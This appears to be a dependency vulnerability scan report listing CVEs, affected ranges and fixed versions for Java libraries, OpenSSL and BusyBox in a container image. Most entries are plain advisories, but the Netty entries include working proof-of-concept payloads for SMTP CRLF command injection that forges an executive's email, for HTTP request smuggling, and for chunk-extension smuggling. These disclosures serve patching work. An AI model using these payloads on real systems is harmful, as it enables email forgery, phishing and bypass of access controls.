CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with Message-Type Extensions in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2022--3509 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=3.0.0
<3.16.3
Fixed version3.16.3
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.131%
EPSS Percentile33rd percentile
+ +
Description +
+ +A parsing issue similar to CVE-2022-3171, but with textformat in protobuf-java core and lite versions prior to 3.21.7, 3.20.3, 3.19.6 and 3.16.3 can lead to a denial of service attack. Inputs containing multiple instances of non-repeated embedded messages with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. We recommend updating to the versions mentioned above. + +
+
+ +high 7.5: CVE--2021--22569 Incorrect Behavior Order + + + + + + + + +
Affected range<3.16.1
Fixed version3.16.1
CVSS Score7.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.291%
EPSS Percentile52nd percentile
+ +
Description +
+ +## Summary + +A potential Denial of Service issue in protobuf-java was discovered in the parsing procedure for binary data. + +Reporter: [OSS-Fuzz](https://github.com/google/oss-fuzz) + +Affected versions: All versions of Java Protobufs (including Kotlin and JRuby) prior to the versions listed below. Protobuf "javalite" users (typically Android) are not affected. + +## Severity + +[CVE-2021-22569](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-22569) **High** - CVSS Score: 7.5, An implementation weakness in how unknown fields are parsed in Java. A small (~800 KB) malicious payload can occupy the parser for several minutes by creating large numbers of short-lived objects that cause frequent, repeated GC pauses. + +## Proof of Concept + +For reproduction details, please refer to the oss-fuzz issue that identifies the specific inputs that exercise this parsing weakness. + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +- protobuf-java (3.16.1, 3.18.2, 3.19.2) +- protobuf-kotlin (3.18.2, 3.19.2) +- google-protobuf [JRuby gem only] (3.19.2) + + +
+
+ +medium 5.7: CVE--2022--3171 Improper Input Validation + + + + + + + + +
Affected range<3.16.3
Fixed version3.16.3
CVSS Score5.7
CVSS VectorCVSS:3.1/AV:A/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.083%
EPSS Percentile25th percentile
+ +
Description +
+ +## Summary +A potential Denial of Service issue in `protobuf-java` core and lite was discovered in the parsing procedure for binary and text format data. Input streams containing multiple instances of non-repeated [embedded messages](http://developers.google.com/protocol-buffers/docs/encoding#embedded) with repeated or unknown fields causes objects to be converted back-n-forth between mutable and immutable forms, resulting in potentially long garbage collection pauses. + +Reporter: [OSS Fuzz](https://bugs.chromium.org/p/oss-fuzz/issues/detail?id=48771) + +Affected versions: This issue affects both the Java full and lite Protobuf runtimes, as well as Protobuf for Kotlin and JRuby, which themselves use the Java Protobuf runtime. + +## Severity + +[CVE-2022-3171](https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-3171) Medium - CVSS Score: 5.7 (NOTE: there may be a delay in publication) + +## Remediation and Mitigation + +Please update to the latest available versions of the following packages: + +protobuf-java (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-javalite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin (3.21.7, 3.20.3, 3.19.6, 3.16.3) +protobuf-kotlin-lite (3.21.7, 3.20.3, 3.19.6, 3.16.3) +google-protobuf [JRuby gem only] (3.21.7, 3.20.3, 3.19.6) + + +
+
+ +medium 5.5: CVE--2021--22570 OWASP Top Ten 2017 Category A9 - Using Components with Known Vulnerabilities + + + + + + + + +
Affected range<3.15.0
Fixed version3.15.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
EPSS Score0.150%
EPSS Percentile36th percentile
+ +
Description +
+ +Nullptr dereference when a null char is present in a proto symbol. The symbol is parsed incorrectly, leading to an unchecked call into the proto file's name during generation of the resulting error message. Since the symbol is incorrectly parsed, the file is nullptr. + +
+
+
+
critical: 0 high: 1 medium: 2 low: 0 openssl 3.3.3-r0 (apk) + +pkg:apk/alpine/openssl@3.3.3-r0?os_name=alpine&os_version=3.20
+high : CVE--2025--9230 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.029%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9231 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.016%
EPSS Percentile3rd percentile
+ +
Description +
+ + + +
+
+ +medium : CVE--2025--9232 + + + + + + +
Affected range<3.3.5-r0
Fixed version3.3.5-r0
EPSS Score0.028%
EPSS Percentile7th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 1 medium: 1 low: 0 org.eclipse.jetty/jetty-server 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-server@9.4.52.v20230823
+high 7.2: CVE--2024--13009 Improper Resource Shutdown or Release + + + + + + + + +
Affected range>=9.4.0
<=9.4.56
Fixed version9.4.57.v20241219
CVSS Score7.2
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
EPSS Score0.073%
EPSS Percentile22nd percentile
+ +
Description +
+ +In Eclipse Jetty versions 9.4.0 to 9.4.56 a buffer can be incorrectly released when confronted with a gzip error when inflating a request body. This can result in corrupted and/or inadvertent sharing of data between requests. + +
+
+ +medium 5.9: CVE--2024--8184 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.3.12
<=9.4.55
Fixed version9.4.56
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score1.487%
EPSS Percentile81st percentile
+ +
Description +
+ +### Impact +Remote DOS attack can cause out of memory + +### Description +There exists a security vulnerability in Jetty's `ThreadLimitHandler.getRemote()` which +can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack. By +repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the +server's memory. + +### Affected Versions + +* Jetty 12.0.0-12.0.8 (Supported) +* Jetty 11.0.0-11.0.23 (EOL) +* Jetty 10.0.0-10.0.23 (EOL) +* Jetty 9.3.12-9.4.55 (EOL) + +### Patched Versions + +* Jetty 12.0.9 +* Jetty 11.0.24 +* Jetty 10.0.24 +* Jetty 9.4.56 + +### Workarounds + +Do not use `ThreadLimitHandler`. +Consider use of `QoSHandler` instead to artificially limit resource utilization. + +### References + +Jetty 12 - https://github.com/jetty/jetty.project/pull/11723 + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 com.fasterxml.jackson.core/jackson-core 2.13.4 (maven) + +pkg:maven/com.fasterxml.jackson.core/jackson-core@2.13.4
+high 8.7: CVE--2025--52999 Stack-based Buffer Overflow + + + + + + + + +
Affected range<2.15.0
Fixed version2.15.0
CVSS Score8.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +### Impact +With older versions of jackson-core, if you parse an input file and it has deeply nested data, Jackson could end up throwing a StackoverflowError if the depth is particularly large. + +### Patches +jackson-core 2.15.0 contains a configurable limit for how deep Jackson will traverse in an input document, defaulting to an allowable depth of 1000. Change is in https://github.com/FasterXML/jackson-core/pull/943. jackson-core will throw a StreamConstraintsException if the limit is reached. +jackson-databind also benefits from this change because it uses jackson-core to parse JSON inputs. + +### Workarounds +Users should avoid parsing input files from untrusted sources. + +
+
+
+
critical: 0 high: 1 medium: 0 low: 0 io.netty/netty-codec-smtp 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-smtp@4.1.124.Final
+high 7.7: CVE--2025--59419 Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection') + + + + + + + + +
Affected range<4.1.128.Final
Fixed version4.1.128.Final
CVSS Score7.7
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
EPSS Score0.971%
EPSS Percentile76th percentile
+ +
Description +
+ +### Summary +An SMTP Command Injection (CRLF Injection) vulnerability in Netty's SMTP codec allows a remote attacker who can control SMTP command parameters (e.g., an email recipient) to forge arbitrary emails from the trusted server. This bypasses standard email authentication and can be used to impersonate executives and forge high-stakes corporate communications. + +### Details +The root cause is the lack of input validation for Carriage Return (\r) and Line Feed (\n) characters in user-supplied parameters. + +The vulnerable code is in io.netty.handler.codec.smtp.DefaultSmtpRequest, where parameters are directly concatenated into the SMTP command string. For example, when SmtpRequests.rcpt(recipient) is called, a malicious recipient string containing CRLF sequences can inject a new, separate SMTP command. + +Because the injected commands are sent from the server's trusted IP, any resulting emails will likely pass SPF and DKIM checks, making them appear legitimate to the victim's email client. + +### PoC +A minimal PoC involves passing a crafted string containing CRLF sequences to any `SmtpRequest` that accepts user-controlled parameters. + +**1. Malicious Payload** + +The core of the exploit is the payload, where new SMTP commands are injected into a parameter. + +```java +// The legitimate recipient is followed by an injected email sequence +String injected_recipient = "legit-recipient@example.com\r\n" + + "MAIL FROM:\r\n" + + "RCPT TO:\r\n" + + "DATA\r\n" + + "From: ceo@trusted-domain.com\r\n" + + "To: victim@anywhere.com\r\n" + + "Subject: Urgent: Phishing Email\r\n" + + "\r\n" + + "This is a forged email that will pass authentication checks.\r\n" + + ".\r\n" + + "QUIT\r\n"; +``` + +**2. Triggering the Vulnerability** + +The vulnerability is triggered when this payload is used to create an SMTP request. + +```java +// The Netty SMTP codec will fail to sanitize this input +SmtpRequest maliciousRequest = SmtpRequests.rcpt(injected_recipient); + +// When this request is sent to an SMTP server, the injected commands +// will be executed, sending a forged email. +channel.writeAndFlush(maliciousRequest); +``` + +**3. Full Reproduction Steps** + +A complete, runnable PoC is available as a GitHub Gist to demonstrate the full attack flow against a local SMTP server + +* **Full PoC Code:** https://gist.github.com/DepthFirstDisclosures/ddacca28cb94b48fa8ab998cef59ed8c + +To run the full PoC: + +1. **Set up a local SMTP server.** The easiest way is using MailHog: + * On macOS: `brew install mailhog && mailhog` + * Using Docker: `docker run -p 1025:1025 -p 8025:8025 mailhog/mailhog` +2. **Run the PoC code.** The code will connect to the SMTP server at `localhost:1025` and send the malicious payload. +3. **Verify the result.** Open the MailHog web UI at `http://localhost:8025`. You will see the forged email sent to `victim@anywhere.com` from `ceo@trusted-domain.com`. + +### Impact +This is a SMTP Command Injection vulnerability. It impacts any application using `netty-codec-smtp` to construct SMTP requests where an attacker can control or influence any of the SMTP string parameters (e.g., `from`, `recipient`, `helo` hostname). + +The primary impacts are: +* **Economic Manipulation & Disinformation:** Attackers can forge emails from high-value targets (e.g., corporate executives, government officials) and send them to journalists, financial institutions, or the public. A fraudulent email announcing false financial results, a fake merger, or a security breach could be used to manipulate stock prices or cause significant economic disruption. +* **Sophisticated Phishing:** Attackers can send high-fidelity phishing emails that bypass email authentication (SPF/DKIM) and appear to come from a trusted source, making them highly likely to deceive users. + +
+
+
+
critical: 0 high: 0 medium: 3 low: 0 org.apache.commons/commons-compress 1.23.0 (maven) + +pkg:maven/org.apache.commons/commons-compress@1.23.0
+medium 6.7: CVE--2024--26308 Allocation of Resources Without Limits or Throttling + + + + + + + + +
Affected range>=1.21
<1.26.0
Fixed version1.26.0
CVSS Score6.7
CVSS VectorCVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
EPSS Score0.448%
EPSS Percentile63rd percentile
+ +
Description +
+ +Allocation of Resources Without Limits or Throttling vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.21 before 1.26. + +Users are recommended to upgrade to version 1.26, which fixes the issue. + +
+
+ +medium 5.9: CVE--2024--25710 Loop with Unreachable Exit Condition ('Infinite Loop') + + + + + + + + +
Affected range>=1.3
<1.26.0
Fixed version1.26.0
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:L/AC:H/PR:N/UI:N/S:C/C:N/I:N/A:H
EPSS Score0.018%
EPSS Percentile4th percentile
+ +
Description +
+ +Loop with Unreachable Exit Condition ('Infinite Loop') vulnerability in Apache Commons Compress. This issue affects Apache Commons Compress: from 1.3 through 1.25.0. + +Users are recommended to upgrade to version 1.26.0 which fixes the issue. + +
+
+ +medium 5.5: CVE--2023--42503 Improper Input Validation + + + + + + + + +
Affected range>=1.22
<1.24.0
Fixed version1.24.0
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
EPSS Score0.011%
EPSS Percentile1st percentile
+ +
Description +
+ +Improper Input Validation, Uncontrolled Resource Consumption vulnerability in Apache Commons Compress in TAR parsing.This issue affects Apache Commons Compress: from 1.22 before 1.24.0. + +Users are recommended to upgrade to version 1.24.0, which fixes the issue. + +A third party can create a malformed TAR file by manipulating file modification times headers, which when parsed with Apache Commons Compress, will cause a denial of service issue via CPU consumption. + +In version 1.22 of Apache Commons Compress, support was added for file modification times with higher precision (issue # COMPRESS-612 [1]). The format for the PAX extended headers carrying this data consists of two numbers separated by a period [2], indicating seconds and subsecond precision (for example “1647221103.5998539”). The impacted fields are “atime”, “ctime”, “mtime” and “LIBARCHIVE.creationtime”. No input validation is performed prior to the parsing of header values. + +Parsing of these numbers uses the BigDecimal [3] class from the JDK which has a publicly known algorithmic complexity issue when doing operations on large numbers, causing denial of service (see issue # JDK-6560193 [4]). A third party can manipulate file time headers in a TAR file by placing a number with a very long fraction (300,000 digits) or a number with exponent notation (such as “9e9999999”) within a file modification time header, and the parsing of files with these headers will take hours instead of seconds, leading to a denial of service via exhaustion of CPU resources. This issue is similar to CVE-2012-2098 [5]. + +[1]: https://issues.apache.org/jira/browse/COMPRESS-612 +[2]: https://pubs.opengroup.org/onlinepubs/9699919799/utilities/pax.html#tag_20_92_13_05 +[3]: https://docs.oracle.com/javase/8/docs/api/java/math/BigDecimal.html +[4]: https://bugs.openjdk.org/browse/JDK-6560193 +[5]: https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2012-2098 + +Only applications using CompressorStreamFactory class (with auto-detection of file types), TarArchiveInputStream and TarFile classes to parse TAR files are impacted. Since this code was introduced in v1.22, only that version and later versions are impacted. + +
+
+
+
critical: 0 high: 0 medium: 2 low: 1 com.google.guava/guava 14.0.1 (maven) + +pkg:maven/com.google.guava/guava@14.0.1
+medium 5.9: CVE--2018--10237 Deserialization of Untrusted Data + + + + + + + + +
Affected range>=11.0
<24.1.1-android
Fixed version24.1.1-android
CVSS Score5.9
CVSS VectorCVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
EPSS Score3.259%
EPSS Percentile87th percentile
+ +
Description +
+ +Unbounded memory allocation in Google Guava 11.0 through 24.x before 24.1.1 allows remote attackers to conduct denial of service attacks against servers that depend on this library and deserialize attacker-provided data, because the AtomicDoubleArray class (when serialized with Java serialization) and the CompoundOrdering class (when serialized with GWT serialization) perform eager allocation without appropriate checks on what a client has sent and whether the data size is reasonable. + +
+
+ +medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 2 low: 0 org.apache.commons/commons-configuration2 2.8.0 (maven) + +pkg:maven/org.apache.commons/commons-configuration2@2.8.0
+medium 6.9: CVE--2024--29133 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.9
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N
EPSS Score0.680%
EPSS Percentile71st percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' calling 'ListDelimiterHandler.flatten(Object, int)' with a cyclical object tree. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+ +medium 6.5: CVE--2024--29131 Out-of-bounds Write + + + + + + + + +
Affected range>=2.0
<2.10.1
Fixed version2.10.1
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:L
EPSS Score0.203%
EPSS Percentile42nd percentile
+ +
Description +
+ +This Out-of-bounds Write vulnerability in Apache Commons Configuration affects Apache Commons Configuration: from 2.0 before 2.10.1. User can see this as a 'StackOverflowError' when adding a property in 'AbstractListDelimiterHandler.flattenIterator()'. +Users are recommended to upgrade to version 2.10.1, which fixes the issue. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 2 busybox 1.36.1-r29 (apk) + +pkg:apk/alpine/busybox@1.36.1-r29?os_name=alpine&os_version=3.20
+medium : CVE--2025--60876 + + + + + + +
Affected range<=1.36.1-r29
Fixed versionNot Fixed
EPSS Score0.052%
EPSS Percentile17th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2025--46394 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.031%
EPSS Percentile8th percentile
+ +
Description +
+ + + +
+
+ +low : CVE--2024--58251 + + + + + + +
Affected range<1.36.1-r31
Fixed version1.36.1-r31
EPSS Score0.024%
EPSS Percentile6th percentile
+ +
Description +
+ + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 30.1.1-jre (maven) + +pkg:maven/com.google.guava/guava@30.1.1-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 io.netty/netty-codec-http 4.1.124.Final (maven) + +pkg:maven/io.netty/netty-codec-http@4.1.124.Final
+medium 6.5: CVE--2025--67735 Improper Neutralization of CRLF Sequences ('CRLF Injection') + + + + + + + + +
Affected range<4.1.129.Final
Fixed version4.1.129.Final
CVSS Score6.5
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
EPSS Score0.054%
EPSS Percentile17th percentile
+ +
Description +
+ +### Summary + +The `io.netty.handler.codec.http.HttpRequestEncoder` CRLF injection with the request uri when constructing a request. This leads to request smuggling when `HttpRequestEncoder` is used without proper sanitization of the uri. + +### Details + +The `HttpRequestEncoder` simply UTF8 encodes the `uri` without sanitization (`buf.writeByte(SP).writeCharSequence(uriCharSequence, CharsetUtil.UTF_8);`) + +The default implementation of HTTP headers guards against such possibility already with a validator making it impossible with headers. + +### PoC + +Simple reproducer: + +```java +public static void main(String[] args) { + + EmbeddedChannel client = new EmbeddedChannel(); + client.pipeline().addLast(new HttpClientCodec()); + + EmbeddedChannel server = new EmbeddedChannel(); + server.pipeline().addLast(new HttpServerCodec()); + server.pipeline().addLast(new ChannelInboundHandlerAdapter() { + @Override + public void channelRead(ChannelHandlerContext ctx, Object msg) throws Exception { + System.out.println("Processing msg " + msg); + } + }); + + DefaultHttpRequest request = new DefaultHttpRequest( + HttpVersion.HTTP_1_1, + HttpMethod.GET, + "/s1 HTTP/1.1\r\n" + + "\r\n" + + "POST /s2 HTTP/1.1\r\n" + + "content-length: 11\r\n\r\n" + + "Hello World" + + "GET /s1" + ); + client.writeAndFlush(request); + ByteBuf tmp; + while ((tmp = client.readOutbound()) != null) { + server.writeInbound(tmp); + } +} +``` + +### Impact + +Any application / framework using `HttpRequestEncoder` can be subject to be abused to perform request smuggling using CRLF injection. + +
+
+ +low : CVE--2025--58056 Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') + + + + + + +
Affected range<4.1.125.Final
Fixed version4.1.125.Final
EPSS Score0.027%
EPSS Percentile7th percentile
+ +
Description +
+ +## Summary +A flaw in netty's parsing of chunk extensions in HTTP/1.1 messages with chunked encoding can lead to request smuggling issues with some reverse proxies. + +## Details +When encountering a newline character (LF) while parsing a chunk extension, netty interprets the newline as the end of the chunk-size line regardless of whether a preceding carriage return (CR) was found. This is in violation of the HTTP 1.1 standard which specifies that the chunk extension is terminated by a CRLF sequence (see the [RFC](https://datatracker.ietf.org/doc/html/rfc9112#name-chunked-transfer-coding)). + +This is by itself harmless, but consider an intermediary with a similar parsing flaw: while parsing a chunk extension, the intermediary interprets an LF without a preceding CR as simply part of the chunk extension (this is also in violation of the RFC, because whitespace characters are not allowed in chunk extensions). We can use this discrepancy to construct an HTTP request that the intermediary will interpret as one request but netty will interpret as two (all lines ending with CRLF, notice the LFs in the chunk extension): + +``` +POST /one HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +48;\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\n0 + +POST /two HTTP/1.1 +Host: localhost:8080 +Transfer-Encoding: chunked + +0 + +``` + +The intermediary will interpret this as a single request. Once forwarded to netty, netty will interpret it as two separate requests. This is a problem, because attackers can then the intermediary, as well as perform standard request smuggling attacks against other live users (see [this Portswigger article](https://portswigger.net/web-security/request-smuggling/exploiting)). + +## Impact +This is a request smuggling issue which can be exploited for bypassing front-end access control rules as well as corrupting the responses served to other live clients. + +The impact is high, but it only affects setups that use a front-end which: +1. Interprets LF characters (without preceding CR) in chunk extensions as part of the chunk extension. +2. Forwards chunk extensions without normalization. + +## Disclosure + + - This vulnerability was disclosed on June 18th, 2025 here: https://w4ke.info/2025/06/18/funky-chunks.html + +## Discussion +Discussion for this vulnerability can be found here: + - https://github.com/netty/netty/issues/15522 + - https://github.com/JLLeitschuh/unCVEed/issues/1 + +## Credit + + - Credit to @JeppW for uncovering this vulnerability. + - Credit to @JLLeitschuh at [Socket](https://socket.dev/) for coordinating the vulnerability disclosure. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 1 com.google.guava/guava 27.0-jre (maven) + +pkg:maven/com.google.guava/guava@27.0-jre
+medium 5.5: CVE--2023--2976 Creation of Temporary File in Directory with Insecure Permissions + + + + + + + + +
Affected range>=1.0
<32.0.0-android
Fixed version32.0.0-android
CVSS Score5.5
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N
EPSS Score0.079%
EPSS Percentile24th percentile
+ +
Description +
+ +Use of Java's default temporary directory for file creation in `FileBackedOutputStream` in Google Guava versions 1.0 to 31.1 on Unix systems and Android Ice Cream Sandwich allows other users and apps on the machine with access to the default Java temporary directory to be able to access the files created by the class. + +Even though the security vulnerability is fixed in version 32.0.0, maintainers recommend using version 32.0.1 as version 32.0.0 breaks some functionality under Windows. + +
+
+ +low 3.3: CVE--2020--8908 Improper Handling of Alternate Encoding + + + + + + + + +
Affected range<32.0.0-android
Fixed version32.0.0-android
CVSS Score3.3
CVSS VectorCVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N
EPSS Score0.072%
EPSS Percentile22nd percentile
+ +
Description +
+ +A temp directory creation vulnerability exists in Guava prior to version 32.0.0 allowing an attacker with access to the machine to potentially access data in a temporary directory created by the Guava `com.google.common.io.Files.createTempDir()`. The permissions granted to the directory created default to the standard unix-like /tmp ones, leaving the files open. Maintainers recommend explicitly changing the permissions after the creation of the directory, or removing uses of the vulnerable method. + + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.apache.logging.log4j/log4j-core 2.22.1 (maven) + +pkg:maven/org.apache.logging.log4j/log4j-core@2.22.1
+medium 6.3: CVE--2025--68161 Improper Validation of Certificate with Host Mismatch + + + + + + + + +
Affected range>=2.0-beta9
<2.25.3
Fixed version2.25.3
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:L/VI:N/VA:N/SC:N/SI:L/SA:N
EPSS Score0.140%
EPSS Percentile35th percentile
+ +
Description +
+ +The Socket Appender in Apache Log4j Core versions 2.0-beta9 through 2.25.2 does not perform TLS hostname verification of the peer certificate, even when the [verifyHostName](https://logging.apache.org/log4j/2.x/manual/appenders/network.html#SslConfiguration-attr-verifyHostName) configuration attribute or the [log4j2.sslVerifyHostName](https://logging.apache.org/log4j/2.x/manual/systemproperties.html#log4j2.sslVerifyHostName) system property is set to true. + +This issue may allow a man-in-the-middle attacker to intercept or redirect log traffic under the following conditions: + + * The attacker is able to intercept or redirect network traffic between the client and the log receiver. + * The attacker can present a server certificate issued by a certification authority trusted by the Socket Appender’s configured trust store (or by the default Java trust store if no custom trust store is configured). + + +Users are advised to upgrade to Apache Log4j Core version 2.25.3, which addresses this issue. + +As an alternative mitigation, the Socket Appender may be configured to use a private or restricted trust root to limit the set of trusted certificates. + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-servlets 9.4.52.v20230823 (maven) + +pkg:maven/org.eclipse.jetty/jetty-servlets@9.4.52.v20230823
+medium 5.3: CVE--2024--9823 Uncontrolled Resource Consumption + + + + + + + + +
Affected range>=9.0.0
<9.4.54
Fixed version9.4.54
CVSS Score5.3
CVSS VectorCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
EPSS Score0.591%
EPSS Percentile69th percentile
+ +
Description +
+ +Description +There exists a security vulnerability in Jetty's DosFilter which can be exploited by unauthorized users to cause remote denial-of-service (DoS) attack on the server using DosFilter. By repeatedly sending crafted requests, attackers can trigger OutofMemory errors and exhaust the server's memory finally. + + +Vulnerability details +The Jetty DoSFilter (Denial of Service Filter) is a security filter designed to protect web applications against certain types of Denial of Service (DoS) attacks and other abusive behavior. It helps to mitigate excessive resource consumption by limiting the rate at which clients can make requests to the server. The DoSFilter monitors and tracks client request patterns, including request rates, and can take actions such as blocking or delaying requests from clients that exceed predefined thresholds. The internal tracking of requests in DoSFilter is the source of this OutOfMemory condition. + + +Impact +Users of the DoSFilter may be subject to DoS attacks that will ultimately exhaust the memory of the server if they have not configured session passivation or an aggressive session inactivation timeout. + + +Patches +The DoSFilter has been patched in all active releases to no longer support the session tracking mode, even if configured. + + +Patched releases: + + * 9.4.54 + * 10.0.18 + * 11.0.18 + * 12.0.3 + +
+
+
+
critical: 0 high: 0 medium: 1 low: 0 org.eclipse.jetty/jetty-http 9.4.57.v20241219 (maven) + +pkg:maven/org.eclipse.jetty/jetty-http@9.4.57.v20241219
+medium 6.3: CVE--2024--6763 Improper Validation of Syntactic Correctness of Input + + + + + + + + +
Affected range>=7.0.0
<=12.0.11
Fixed version12.0.12
CVSS Score6.3
CVSS VectorCVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N
EPSS Score1.022%
EPSS Percentile77th percentile
+ +
Description +
